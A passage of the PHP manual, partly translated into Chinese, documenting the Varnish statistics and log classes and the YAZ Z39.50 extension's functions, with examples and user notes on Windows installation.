  • PHP Manual
  • VarnishStat
  • Get the current varnish instance statistics snapshot

VarnishStat::getSnapshot

(PECL varnish >= 0.3)

VarnishStat::getSnapshot — Get the current varnish instance statistics snapshot

说明

public VarnishStat::getSnapshot(): array

参数

此函数没有参数。

返回值

Array with the varnish statistic snapshot. The array keys are identical to that in the varnishstat tool.

User Contributed Notes

There are no user contributed notes for this page.


The VarnishLog class

(PECL varnish >= 0.6)

简介

类摘要

class VarnishLog {
/* 常量 */
const int TAG_Debug = 0;
const int TAG_Error = 1;
const int TAG_CLI = 2;
const int TAG_StatSess = 3;
const int TAG_ReqEnd = 4;
const int TAG_SessionOpen = 5;
const int TAG_SessionClose = 6;
const int TAG_BackendOpen = 7;
const int TAG_BackendXID = 8;
const int TAG_BackendReuse = 9;
const int TAG_BackendClose = 10;
const int TAG_HttpGarbage = 11;
const int TAG_Backend = 12;
const int TAG_Length = 13;
const int TAG_FetchError = 14;
const int TAG_RxRequest = 15;
const int TAG_RxResponse = 16;
const int TAG_RxStatus = 17;
const int TAG_RxURL = 18;
const int TAG_RxProtocol = 19;
const int TAG_RxHeader = 20;
const int TAG_TxRequest = 21;
const int TAG_TxResponse = 22;
const int TAG_TxStatus = 23;
const int TAG_TxURL = 24;
const int TAG_TxProtocol = 25;
const int TAG_TxHeader = 26;
const int TAG_ObjRequest = 27;
const int TAG_ObjResponse = 28;
const int TAG_ObjStatus = 29;
const int TAG_ObjURL = 30;
const int TAG_ObjProtocol = 31;
const int TAG_ObjHeader = 32;
const int TAG_LostHeader = 33;
const int TAG_TTL = 34;
const int TAG_Fetch_Body = 35;
const int TAG_VCL_acl = 36;
const int TAG_VCL_call = 37;
const int TAG_VCL_trace = 38;
const int TAG_VCL_return = 39;
const int TAG_VCL_error = 40;
const int TAG_ReqStart = 41;
const int TAG_Hit = 42;
const int TAG_HitPass = 43;
const int TAG_ExpBan = 44;
const int TAG_ExpKill = 45;
const int TAG_WorkThread = 46;
const int TAG_ESI_xmlerror = 47;
const int TAG_Hash = 48;
const int TAG_Backend_health = 49;
const int TAG_VCL_Log = 50;
const int TAG_Gzip = 51;
/* 方法 */
public __construct(array $args = ?)
public getLine(): array
public static getTagName(int $index): string
}

预定义常量

VarnishLog::TAG_Debug

VarnishLog::TAG_Error

VarnishLog::TAG_CLI

VarnishLog::TAG_StatSess

VarnishLog::TAG_ReqEnd

VarnishLog::TAG_SessionOpen

VarnishLog::TAG_SessionClose

VarnishLog::TAG_BackendOpen

VarnishLog::TAG_BackendXID

VarnishLog::TAG_BackendReuse

VarnishLog::TAG_BackendClose

VarnishLog::TAG_HttpGarbage

VarnishLog::TAG_Backend

VarnishLog::TAG_Length

VarnishLog::TAG_FetchError

VarnishLog::TAG_RxRequest

VarnishLog::TAG_RxResponse

VarnishLog::TAG_RxStatus

VarnishLog::TAG_RxURL

VarnishLog::TAG_RxProtocol

VarnishLog::TAG_RxHeader

VarnishLog::TAG_TxRequest

VarnishLog::TAG_TxResponse

VarnishLog::TAG_TxStatus

VarnishLog::TAG_TxURL

VarnishLog::TAG_TxProtocol

VarnishLog::TAG_TxHeader

VarnishLog::TAG_ObjRequest

VarnishLog::TAG_ObjResponse

VarnishLog::TAG_ObjStatus

VarnishLog::TAG_ObjURL

VarnishLog::TAG_ObjProtocol

VarnishLog::TAG_ObjHeader

VarnishLog::TAG_LostHeader

VarnishLog::TAG_TTL

VarnishLog::TAG_Fetch_Body

VarnishLog::TAG_VCL_acl

VarnishLog::TAG_VCL_call

VarnishLog::TAG_VCL_trace

VarnishLog::TAG_VCL_return

VarnishLog::TAG_VCL_error

VarnishLog::TAG_ReqStart

VarnishLog::TAG_Hit

VarnishLog::TAG_HitPass

VarnishLog::TAG_ExpBan

VarnishLog::TAG_ExpKill

VarnishLog::TAG_WorkThread

VarnishLog::TAG_ESI_xmlerror

VarnishLog::TAG_Hash

VarnishLog::TAG_Backend_health

VarnishLog::TAG_VCL_Log

VarnishLog::TAG_Gzip

Table of Contents

  • VarnishLog::__construct — Varnishlog constructor
  • VarnishLog::getLine — Get next log line
  • VarnishLog::getTagName — Get the log tag string representation by its index

User Contributed Notes

There are no user contributed notes for this page.


Varnishlog constructor

  • ? VarnishLog
  • VarnishLog::getLine ?
  • PHP Manual
  • VarnishLog
  • Varnishlog constructor

VarnishLog::__construct

(PECL varnish >= 0.6)

VarnishLog::__construct — Varnishlog constructor

说明

public VarnishLog::__construct(array $args = ?)

参数

args

Configuration arguments. The possible keys are:

VARNISH_CONFIG_IDENT - local varnish instance ident path

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get next log line

  • ? VarnishLog::__construct
  • VarnishLog::getTagName ?
  • PHP Manual
  • VarnishLog
  • Get next log line

VarnishLog::getLine

(PECL varnish >= 0.6)

VarnishLog::getLine — Get next log line

说明

public VarnishLog::getLine(): array

参数

此函数没有参数。

返回值

Returns an array with the log line data.

User Contributed Notes

There are no user contributed notes for this page.


Get the log tag string representation by its index

  • ? VarnishLog::getLine
  • YAZ ?
  • PHP Manual
  • VarnishLog
  • Get the log tag string representation by its index

VarnishLog::getTagName

(PECL varnish >= 0.6)

VarnishLog::getTagName — Get the log tag string representation by its index

说明

public static VarnishLog::getTagName(int $index): string

参数

index

Log tag index.

返回值

Returns the log tag name as string.

User Contributed Notes

There are no user contributed notes for this page.


YAZ

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • YAZ 函数
    • yaz_addinfo — Returns additional error information
    • yaz_ccl_conf — Configure CCL parser
    • yaz_ccl_parse — Invoke CCL Parser
    • yaz_close — Close YAZ connection
    • yaz_connect — Prepares for a connection to a Z39.50 server
    • yaz_database — Specifies the databases within a session
    • yaz_element — Specifies Element-Set Name for retrieval
    • yaz_errno — Returns error number
    • yaz_error — Returns error description
    • yaz_es_result — Inspects Extended Services Result
    • yaz_es — Prepares for an Extended Service Request
    • yaz_get_option — Returns value of option for connection
    • yaz_hits — Returns number of hits for last search
    • yaz_itemorder — Prepares for Z39.50 Item Order with an ILL-Request package
    • yaz_present — Prepares for retrieval (Z39.50 present)
    • yaz_range — Specifies a range of records to retrieve
    • yaz_record — Returns a record
    • yaz_scan_result — Returns Scan Response result
    • yaz_scan — Prepares for a scan
    • yaz_schema — Specifies schema for retrieval
    • yaz_search — Prepares for a search
    • yaz_set_option — Sets one or more options for connection
    • yaz_sort — Sets sorting criteria
    • yaz_syntax — Specifies the preferred record syntax for retrieval
    • yaz_wait — Wait for Z39.50 requests to complete

User Contributed Notes

There are no user contributed notes for this page.


简介

This extension offers a PHP interface to the YAZ toolkit that implements the » Z39.50 Protocol for Information Retrieval. With this extension you can easily implement a Z39.50 origin (client) that searches or scans Z39.50 targets (servers) in parallel.

The module hides most of the complexity of Z39.50 so it should be fairly easy to use. It supports persistent stateless connections very similar to those offered by the various RDB APIs that are available for PHP. This means that sessions are stateless but shared among users, thus saving the connect and initialize phase steps in most cases.

YAZ is available at » http://www.indexdata.dk/yaz/. You can find news information, example scripts, etc. for this extension at » http://www.indexdata.dk/phpyaz/.

Note:

此扩展已被移至 » PECL 资源库；不再与 PHP 捆绑，从 PHP 5.0.0.

User Contributed Notes

There are no user contributed notes for this page.


需求

Obtain YAZ (ANSI/NISO Z39.50 support) and install it. YAZ can be fetched in source or in various prebuilt packages from the » YAZ archive. Systems such as Debian GNU/Linux, Suse Linux, FreeBSD also has YAZ as part of their distribution.

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/yaz

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

Note: Information specific to Windows users

php_yaz.dll depends on yaz.dll. The yaz.dll is part of the Win32 ZIP from the PHP site. It is also part of the Windows YAZ install available from the » YAZ WIN32 area.

On windows, don't forget to add the PHP directory to the PATH, so that the yaz.dll file can be found by the system.

Warning

IMAP，recode，和 YAZ 扩展不能同时使用，因为它们共享了相同 的内部符号。注意：Yaz 2.0 及以上版本不存在此问题。

User Contributed Notes

There are no user contributed notes for this page.


示例

PHP/YAZ keeps track of connections with targets (Z-Associations). A resource represents a connection to a target.

The script below demonstrates the parallel searching feature of the API. When invoked with no arguments it prints a query form; else (arguments are supplied) it searches the targets as given in array host.

Example #1 Parallel searching using Yaz

<?php
$host=$_REQUEST[host];
$query=$_REQUEST[query];
$num_hosts = count($host);
if (empty($query) || count($host) == 0) {
echo '<form method="get">
<input type="checkbox"
name="host[]" value="bagel.indexdata.dk/gils" />
GILS test
<input type="checkbox"
name="host[]" value="localhost:9999/Default" />
local test
<input type="checkbox" checked="checked"
name="host[]" value="z3950.loc.gov:7090/voyager" />
Library of Congress
<br />
RPN Query:
<input type="text" size="30" name="query" />
<input type="submit" name="action" value="Search" />
</form>
';
} else {
echo 'You searched for ' . htmlspecialchars($query) . '<br />';
for ($i = 0; $i < $num_hosts; $i++) {
$id[] = yaz_connect($host[$i]);
yaz_syntax($id[$i], "usmarc");
yaz_range($id[$i], 1, 10);
yaz_search($id[$i], "rpn", $query);
}
yaz_wait();
for ($i = 0; $i < $num_hosts; $i++) {
echo '<hr />' . $host[$i] . ':';
$error = yaz_error($id[$i]);
if (!empty($error)) {
echo "Error: $error";
} else {
$hits = yaz_hits($id[$i]);
echo "Result Count $hits";
}
echo '<dl>';
for ($p = 1; $p <= 10; $p++) {
$rec = yaz_record($id[$i], $p, "string");
if (empty($rec)) continue;
echo "<dt><b>$p</b></dt><dd>";
echo nl2br($rec);
echo "</dd>";
}
echo '</dl>';
}
}
?>

User Contributed Notes

There are no user contributed notes for this page.


YAZ 函数

Table of Contents

  • yaz_addinfo — Returns additional error information
  • yaz_ccl_conf — Configure CCL parser
  • yaz_ccl_parse — Invoke CCL Parser
  • yaz_close — Close YAZ connection
  • yaz_connect — Prepares for a connection to a Z39.50 server
  • yaz_database — Specifies the databases within a session
  • yaz_element — Specifies Element-Set Name for retrieval
  • yaz_errno — Returns error number
  • yaz_error — Returns error description
  • yaz_es_result — Inspects Extended Services Result
  • yaz_es — Prepares for an Extended Service Request
  • yaz_get_option — Returns value of option for connection
  • yaz_hits — Returns number of hits for last search
  • yaz_itemorder — Prepares for Z39.50 Item Order with an ILL-Request package
  • yaz_present — Prepares for retrieval (Z39.50 present)
  • yaz_range — Specifies a range of records to retrieve
  • yaz_record — Returns a record
  • yaz_scan_result — Returns Scan Response result
  • yaz_scan — Prepares for a scan
  • yaz_schema — Specifies schema for retrieval
  • yaz_search — Prepares for a search
  • yaz_set_option — Sets one or more options for connection
  • yaz_sort — Sets sorting criteria
  • yaz_syntax — Specifies the preferred record syntax for retrieval
  • yaz_wait — Wait for Z39.50 requests to complete

User Contributed Notes

adam at indexdata dot dk 17-Apr-2018 08:17
When using Apache, you must also place libxslt.dll and yaz5.dll in \xampp\apache\bin . (No need need to copy libxml2 because it is already there).
francisco.vazquez@ubik 17-Jan-2018 06:17
Updated steps to install this extension on windows 7 (january 2018)

1)Go to: http://ftp.indexdata.dk/pub/phpyaz/windows/ and search trough the folders until you find the one that matches your php installation.

2)Download all four files:    libxml2.dll, libxslt.dll, php_yaz.dll, yaz5.dll

3)Place the following files inside your php folder (\xampp\php): libxml2.dll, libxslt.dll, yaz5.dll

4)Place php_yaz.dll inside your php extensions folder (xampp\php\ext)

5)Add the following line to php.ini (you can find out where is php.ini located calling phpinfo): extension=php_yaz.dll
(look for the place where all the other extension are declarated and place it at the bottom as the las one installed)

6)Restart your server

That should work. You can check if it is installed by calling phpinfo and checking if yaz extension appears as a section.

Cheers!
23-Oct-2005 03:00
Straightforward Steps to get PHP Yaz to work on win32:

Download latest verion of php_yaz.dll and copy to your PHP extensions directory
http://ftp.indexdata.dk/pub/phpyaz/

Download latest version of YAZ toolkit and install it
http://www.indexdata.dk/yaz/

Go to the YAZ toolkit directory
(Most likely C:\Program Files\YAZ\bin)

Copy the 4 DLL files in that folder into your win32 directory

Uncomment the "extention=php_yaz.dll;" line in php.ini

Restart your web server.

Uninstall the YAZ toolkit if you wish.
cstdenis at hotmail dot com 15-Jul-2004 06:17
For those wondering what it is:

"This standard defines a client/server based service and protocol for
Information Retrieval. It specifies procedures and formats for a client to search a
database provided by a server, retrieve database records, and perform related
information retrieval functions. The protocol addresses communication between
information retrieval applications at the client and server; it does not address interaction
between the client and the end-user."


Returns additional error information

  • ? YAZ 函数
  • yaz_ccl_conf ?
  • PHP Manual
  • YAZ 函数
  • Returns additional error information

yaz_addinfo

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_addinfo — Returns additional error information

说明

yaz_addinfo(resource $id): string

Returns additional error information for the last request on the server.

With some servers, this function may return the same string as yaz_error().

参数

id

The connection resource returned by yaz_connect().

返回值

A string containing additional error information or an empty string if the last operation was successful or if no additional information was provided by the server.

参见

  • yaz_error() - Returns error description
  • yaz_errno() - Returns error number

User Contributed Notes

There are no user contributed notes for this page.


Configure CCL parser

  • ? yaz_addinfo
  • yaz_ccl_parse ?
  • PHP Manual
  • YAZ 函数
  • Configure CCL parser

yaz_ccl_conf

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_ccl_conf — Configure CCL parser

说明

yaz_ccl_conf(resource $id, array $config): void

This function configures the CCL query parser for a server with definitions of access points (CCL qualifiers) and their mapping to RPN.

To map a specific CCL query to RPN afterwards call the yaz_ccl_parse() function.

参数

id

The connection resource returned by yaz_connect().

config

An array of configuration. Each key of the array is the name of a CCL field and the corresponding value holds a string that specifies a mapping to RPN.

The mapping is a sequence of attribute-type, attribute-value pairs. Attribute-type and attribute-value is separated by an equal sign (=). Each pair is separated by white space.

Additional information can be found on the » CCL page.

返回值

没有返回值。

示例

In the example below, the CCL parser is configured to support three CCL fields: ti, au and isbn. Each field is mapped to their BIB-1 equivalent. It is assumed that variable $id is the connection ID.

Example #1 CCL configuration

<?php
$fields = array(
"ti" => "1=4",
"au" => "1=1",
"isbn" => "1=7"
);
yaz_ccl_conf($id, $fields);
?>

参见

  • yaz_ccl_parse() - Invoke CCL Parser

User Contributed Notes

quinn at indexdata dot com 05-Mar-2005 07:09
The YAZ CCL parser has extensive functionality beyond what is described here. For the full story, as well as a detailed description of the CCL language, please look at

http://www.indexdata.dk/yaz/doc/tools.tkl#CCL

The flexibility of the parser makes it easy, by setting up separate profiles for servers with different characteristics, to produce a client that performs different query mappings for different servers. Also, because you can configure operators, truncation characters, etc., in the CCL parser, it is simple to make it fit into almost any application.


Invoke CCL Parser

  • ? yaz_ccl_conf
  • yaz_close ?
  • PHP Manual
  • YAZ 函数
  • Invoke CCL Parser

yaz_ccl_parse

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_ccl_parse — Invoke CCL Parser

说明

yaz_ccl_parse(resource $id, string $query, array &$result): bool

This function invokes a CCL parser. It converts a given CCL FIND query to an RPN query which may be passed to the yaz_search() function to perform a search.

To define a set of valid CCL fields call yaz_ccl_conf() prior to this function.

参数

id

The connection resource returned by yaz_connect().

query

The CCL FIND query.

result

If the function was executed successfully, this will be an array containing the valid RPN query under the key rpn.

Upon failure, three indexes are set in this array to indicate the cause of failure:

  • errorcode - the CCL error code (integer)

  • errorstring - the CCL error string

  • errorpos - approximate position in query of failure (integer is character position)

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 CCL Parsing

We will try to search using CCL. In the example below, $ccl is a CCL query.

<?php

yaz_ccl_conf($id, $fields); // see example for yaz_ccl_conf
if (!yaz_ccl_parse($id, $ccl, &$cclresult)) {
echo 'Error: ' . $cclresult["errorstring"];
} else {
$rpn = $cclresult["rpn"];
yaz_search($id, "rpn", $rpn);
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Close YAZ connection

  • ? yaz_ccl_parse
  • yaz_connect ?
  • PHP Manual
  • YAZ 函数
  • Close YAZ connection

yaz_close

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_close — Close YAZ connection

说明

yaz_close(resource $id): bool

Closes the connection given by parameter id.

Note:

This function will only close a non-persistent connection opened by setting the persistent option to false with yaz_connect().

参数

id

The connection resource returned by yaz_connect().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • yaz_connect() - Prepares for a connection to a Z39.50 server

User Contributed Notes

There are no user contributed notes for this page.


Prepares for a connection to a Z39.50 server

  • ? yaz_close
  • yaz_database ?
  • PHP Manual
  • YAZ 函数
  • Prepares for a connection to a Z39.50 server

yaz_connect

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_connect — Prepares for a connection to a Z39.50 server

说明

yaz_connect(string $zurl, mixed $options = ?): mixed

This function returns a connection resource on success, zero on failure.

yaz_connect() prepares for a connection to a Z39.50 server. This function is non-blocking and does not attempt to establish a connection - it merely prepares a connect to be performed later when yaz_wait() is called.

Note:

The » YAZ proxy is a freely available Z39.50 proxy.

参数

zurl

A string that takes the form host[:port][/database]. If port is omitted, port 210 is used. If database is omitted Default is used.

options

If given as a string, it is treated as the Z39.50 V2 authentication string (OpenAuth).

If given as an array, the contents of the array serves as options.

user

Username for authentication.

group

Group for authentication.

password

Password for authentication.

cookie

Cookie for session (YAZ proxy).

proxy

Proxy for connection (YAZ proxy).

persistent

A boolean. If true the connection is persistent; If false the connection is not persistent. By default connections are persistent.

Note:

If you open a persistent connection, you won't be able to close it later with yaz_close().

piggyback

A boolean. If true piggyback is enabled for searches; If false piggyback is disabled. By default piggyback is enabled.

Enabling piggyback is more efficient and usually saves a network-round-trip for first time fetches of records. However, a few Z39.50 servers do not support piggyback or they ignore element set names. For those, piggyback should be disabled.

charset

A string that specifies character set to be used in Z39.50 language and character set negotiation. Use strings such as: ISO-8859-1, UTF-8, UTF-16.

Most Z39.50 servers do not support this feature (and thus, this is ignored). Many servers use the ISO-8859-1 encoding for queries and messages. MARC21/USMARC records are not affected by this setting.

preferredMessageSize

An integer that specifies the maximum byte size of all records to be returned by a target during retrieval. See the » Z39.50 standard for more information.

Note:

This option is supported in PECL YAZ 1.0.5 or later.

maximumRecordSize

An integer that specifies the maximum byte size of a single record to be returned by a target during retrieval. This entity is referred to as Exceptional-record-size in the » Z39.50 standard.

Note:

This option is supported in PECL YAZ 1.0.5 or later.

返回值

A connection resource on success, false on error.

更新日志

版本 | 说明
4.1.0 | The parameter options was added.

参见

  • yaz_close() - Close YAZ connection

User Contributed Notes

There are no user contributed notes for this page.


Specifies the databases within a session

  • ? yaz_connect
  • yaz_element ?
  • PHP Manual
  • YAZ 函数
  • Specifies the databases within a session

yaz_database

(PHP 4 >= 4.0.6, PECL yaz >= 0.9.0)

yaz_database — Specifies the databases within a session

说明

yaz_database(resource $id, string $databases): bool

This function allows you to change databases within a session by specifying one or more databases to be used in search, retrieval, etc. - overriding databases specified in call to yaz_connect().

参数

id

The connection resource returned by yaz_connect().

databases

A string containing one or more databases. Multiple databases are separated by a plus sign +.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Specifies Element-Set Name for retrieval

  • ? yaz_database
  • yaz_errno ?
  • PHP Manual
  • YAZ 函数
  • Specifies Element-Set Name for retrieval

yaz_element

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_element — Specifies Element-Set Name for retrieval

说明

yaz_element(resource $id, string $elementset): bool

This function sets the element set name for retrieval.

Call this function before yaz_search() or yaz_present() to specify the element set name for records to be retrieved.

Note:

If this function appears to have no effect, see the description of the piggybacking option in yaz_connect().

参数

id

The connection resource returned by yaz_connect().

elementset

Most servers support F (for full records) and B (for brief records).

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Returns error number

  • ? yaz_element
  • yaz_error ?
  • PHP Manual
  • YAZ 函数
  • Returns error number

yaz_errno

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_errno — Returns error number

说明

yaz_errno(resource $id): int

Returns an error number for the server (last request) identified by id.

yaz_errno() should be called after network activity for each server - (after yaz_wait() returns) to determine the success or failure of the last operation (e.g. search).

参数

id

The connection resource returned by yaz_connect().

返回值

Returns an error code. The error code is either a Z39.50 diagnostic code (usually a Bib-1 diagnostic) or a client side error code which is generated by PHP/YAZ itself, such as "Connect failed", "Init Rejected", etc.

参见

  • yaz_error() - Returns error description
  • yaz_addinfo() - Returns additional error information

User Contributed Notes

There are no user contributed notes for this page.


Returns error description

  • ? yaz_errno
  • yaz_es_result ?
  • PHP Manual
  • YAZ 函数
  • Returns error description

yaz_error

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_error — Returns error description

说明

yaz_error(resource $id): string

yaz_error() returns an English text message corresponding to the last error number as returned by yaz_errno().

参数

id

The connection resource returned by yaz_connect().

返回值

Returns an error text message for server (last request), identified by parameter id. An empty string is returned if the last operation was successful.

参见

  • yaz_errno() - Returns error number
  • yaz_addinfo() - Returns additional error information

User Contributed Notes

There are no user contributed notes for this page.


Inspects Extended Services Result

  • ? yaz_error
  • yaz_es ?
  • PHP Manual
  • YAZ 函数
  • Inspects Extended Services Result

yaz_es_result

(PHP 4 >= 4.2.0, PECL yaz >= 0.9.0)

yaz_es_result — Inspects Extended Services Result

说明

yaz_es_result(resource $id): array

This function inspects the last returned Extended Service result from a server. An Extended Service is initiated by either yaz_item_order() or yaz_es().

参数

id

The connection resource returned by yaz_connect().

返回值

Returns array with element targetReference for the reference for the extended service operation (generated and returned from the server).

参见

  • yaz_es() - Prepares for an Extended Service Request

User Contributed Notes

There are no user contributed notes for this page.


Prepares for an Extended Service Request

  • ? yaz_es_result
  • yaz_get_option ?
  • PHP Manual
  • YAZ 函数
  • Prepares for an Extended Service Request

yaz_es

(PECL yaz >= 0.9.0)

yaz_es — Prepares for an Extended Service Request

说明

yaz_es( resource $id , string $type , array $args ): void

This function prepares for an Extended Service Request. Extended Services is family of various Z39.50 facilities, such as Record Update, Item Order, Database administration etc.

Note:

Many Z39.50 Servers do not support Extended Services.

The yaz_es() creates an Extended Service Request packages and puts it into a queue of operations. Use yaz_wait() to send the request(s) to the server. After completion of yaz_wait() the result of the Extended Service operation should be expected with a call to yaz_es_result().

参数

id

The connection resource returned by yaz_connect().

type

A string which represents the type of the Extended Service: itemorder (Item Order), create (Create Database), drop (Drop Database), commit (Commit Operation), update (Update Record), xmlupdate (XML Update). Each type is specified in the following section.

args

An array with extended service options plus package specific options. The options are identical to those offered in the C API of ZOOM C. Refer to the ZOOM » Extended Services.

返回值

没有返回值。

示例

Example #1 Record Update

<?php
$con = yaz_connect("myhost/database");
$args = array (
"record" => "<gils><title>some title</title></gils>",
"syntax" => "xml",
"action" => "specialUpdate"
);
yaz_es($con, "update", $args);
yaz_wait();
$result = yaz_es_result($id);
?>

参见

  • yaz_es_result() - Inspects Extended Services Result

User Contributed Notes

pol4free at yahoo dot com 08-Mar-2014 03:09
$result=yaz_es_result($id)  is wrong for is example
$result=yaz_es_result($con)


Returns value of option for connection

  • ? yaz_es
  • yaz_hits ?
  • PHP Manual
  • YAZ 函数
  • Returns value of option for connection

yaz_get_option

(PECL yaz >= 0.9.0)

yaz_get_option — Returns value of option for connection

说明

yaz_get_option(resource $id, string $name): string

Returns the value of the option specified with name.

参数

id

The connection resource returned by yaz_connect().

name

The option name.

返回值

Returns the value of the specified option or an empty string if the option wasn't set.

参见

  • The description of yaz_set_option() - Sets one or more options for connection for available options

User Contributed Notes

There are no user contributed notes for this page.


Returns number of hits for last search

  • ? yaz_get_option
  • yaz_itemorder ?
  • PHP Manual
  • YAZ 函数
  • Returns number of hits for last search

yaz_hits

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_hits — Returns number of hits for last search

说明

yaz_hits(resource $id, array &$searchresult = ?): int

yaz_hits() returns the number of hits for the last search.

参数

id

The connection resource returned by yaz_connect().

searchresult

Result array for detailed search result information.

返回值

Returns the number of hits for the last search or 0 if no search was performed.

The search result array (if supplied) holds information that is returned by a Z39.50 server in the SearchResult-1 format part of a search response. The SearchResult-1 format can be used to obtain information about hit counts for various parts of the query (subquery). In particular, it is possible to obtain hit counts for the individual search terms in a query. Information for first subquery is in $array[0], second subquery in $array[1], and so forth.

searchresult members
Element | Description
id | Sub query ID2 (string)
count | Result count / hits (integer)
subquery.term | Sub query term (string)
interpretation.term | Interpretated sub query term (string)
recommendation.term | Recommended sub query term (string)

Note:

The SearchResult facility requires PECL YAZ 1.0.5 or later and YAZ 2.1.9 or later.

Note:

Very few Z39.50 implementations support the SearchResult facility.

User Contributed Notes

There are no user contributed notes for this page.


Prepares for Z39.50 Item Order with an ILL-Request package

  • ? yaz_hits
  • yaz_present ?
  • PHP Manual
  • YAZ 函数
  • Prepares for Z39.50 Item Order with an ILL-Request package

yaz_itemorder

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_itemorder — Prepares for Z39.50 Item Order with an ILL-Request package

说明

yaz_itemorder(resource $id, array $args): void

This function prepares for an Extended Services request using the Profile for the Use of Z39.50 Item Order Extended Service to Transport ILL (Profile/1). See » this and the » specification.

参数

id

The connection resource returned by yaz_connect().

args

Must be an associative array with information about the Item Order request to be sent. The key of the hash is the name of the corresponding ASN.1 tag path. For example, the ISBN below the Item-ID has the key item-id,ISBN.

The ILL-Request parameters are:

protocol-version-num
transaction-id,initial-requester-id,person-or-institution-symbol,person
transaction-id,initial-requester-id,person-or-institution-symbol,institution
transaction-id,initial-requester-id,name-of-person-or-institution,name-of-person
transaction-id,initial-requester-id,name-of-person-or-institution,name-of-institution
transaction-id,transaction-group-qualifier
transaction-id,transaction-qualifier
transaction-id,sub-transaction-qualifier
service-date-time,this,date
service-date-time,this,time
service-date-time,original,date
service-date-time,original,time
requester-id,person-or-institution-symbol,person
requester-id,person-or-institution-symbol,institution
requester-id,name-of-person-or-institution,name-of-person
requester-id,name-of-person-or-institution,name-of-institution
responder-id,person-or-institution-symbol,person
responder-id,person-or-institution-symbol,institution
responder-id,name-of-person-or-institution,name-of-person
responder-id,name-of-person-or-institution,name-of-institution
transaction-type
delivery-address,postal-address,name-of-person-or-institution,name-of-person
delivery-address,postal-address,name-of-person-or-institution,name-of-institution
delivery-address,postal-address,extended-postal-delivery-address
delivery-address,postal-address,street-and-number
delivery-address,postal-address,post-office-box
delivery-address,postal-address,city
delivery-address,postal-address,region
delivery-address,postal-address,country
delivery-address,postal-address,postal-code
delivery-address,electronic-address,telecom-service-identifier
delivery-address,electronic-address,telecom-service-addreess
billing-address,postal-address,name-of-person-or-institution,name-of-person
billing-address,postal-address,name-of-person-or-institution,name-of-institution
billing-address,postal-address,extended-postal-delivery-address
billing-address,postal-address,street-and-number
billing-address,postal-address,post-office-box
billing-address,postal-address,city
billing-address,postal-address,region
billing-address,postal-address,country
billing-address,postal-address,postal-code
billing-address,electronic-address,telecom-service-identifier
billing-address,electronic-address,telecom-service-addreess
ill-service-type
requester-optional-messages,can-send-RECEIVED
requester-optional-messages,can-send-RETURNED
requester-optional-messages,requester-SHIPPED
requester-optional-messages,requester-CHECKED-IN
search-type,level-of-service
search-type,need-before-date
search-type,expiry-date
search-type,expiry-flag
place-on-hold
client-id,client-name
client-id,client-status
client-id,client-identifier
item-id,item-type
item-id,call-number
item-id,author
item-id,title
item-id,sub-title
item-id,sponsoring-body
item-id,place-of-publication
item-id,publisher
item-id,series-title-number
item-id,volume-issue
item-id,edition
item-id,publication-date
item-id,publication-date-of-component
item-id,author-of-article
item-id,title-of-article
item-id,pagination
item-id,ISBN
item-id,ISSN
item-id,additional-no-letters
item-id,verification-reference-source
copyright-complicance
retry-flag
forward-flag
requester-note
forward-note

There are also a few parameters that are part of the Extended Services Request package and the ItemOrder package:

package-name
user-id
contact-name
contact-phone
contact-email
itemorder-item

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Prepares for retrieval (Z39.50 present)

  • ? yaz_itemorder
  • yaz_range ?
  • PHP Manual
  • YAZ 函数
  • Prepares for retrieval (Z39.50 present)

yaz_present

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_present — Prepares for retrieval (Z39.50 present)

说明

yaz_present(resource $id): bool

This function prepares for retrieval of records after a successful search.

The yaz_range() function should be called prior to this function to specify the range of records to be retrieved.

参数

id

The connection resource returned by yaz_connect().

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Specifies a range of records to retrieve

  • ? yaz_present
  • yaz_record ?
  • PHP Manual
  • YAZ 函数
  • Specifies a range of records to retrieve

yaz_range

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_range — Specifies a range of records to retrieve

说明

yaz_range(resource $id, int $start, int $number): void

Specifies a range of records to retrieve.

This function should be called before yaz_search() or yaz_present().

参数

id

The connection resource returned by yaz_connect().

start

Specifies the position of the first record to be retrieved. The records numbers goes from 1 to yaz_hits().

number

Specifies the number of records to be retrieved.

返回值

没有返回值。

User Contributed Notes

andrew dot isherwood at ptfs-europe dot com 14-Oct-2015 09:31
Note that yaz_range probably doesn't do what you think it's going to to do. i.e. cause the result set to be returned according to the "start" and "number" parameters you supply.

Quoting this thread:
http://lists.indexdata.dk/pipermail/yazlist/2006-November/001752.html

"Generally, the record offset that you give to yaz_record() is the offset into the result set, not into any subset identified by yaz_range(). This is crucial: The yaz_range() function is strictly there to help you write more optimized client code; you do not need to call it.

In other words, if you want to display record numbers 10 to 20 from your set, you loop from 10 to 20 and call yaz_record() for each record. The underlying code will retrieve records as necessary on demand.

However, if you call yaz_range() before you call yaz_wait(), the underlying code will optimize it's behavior.. it will either ask the
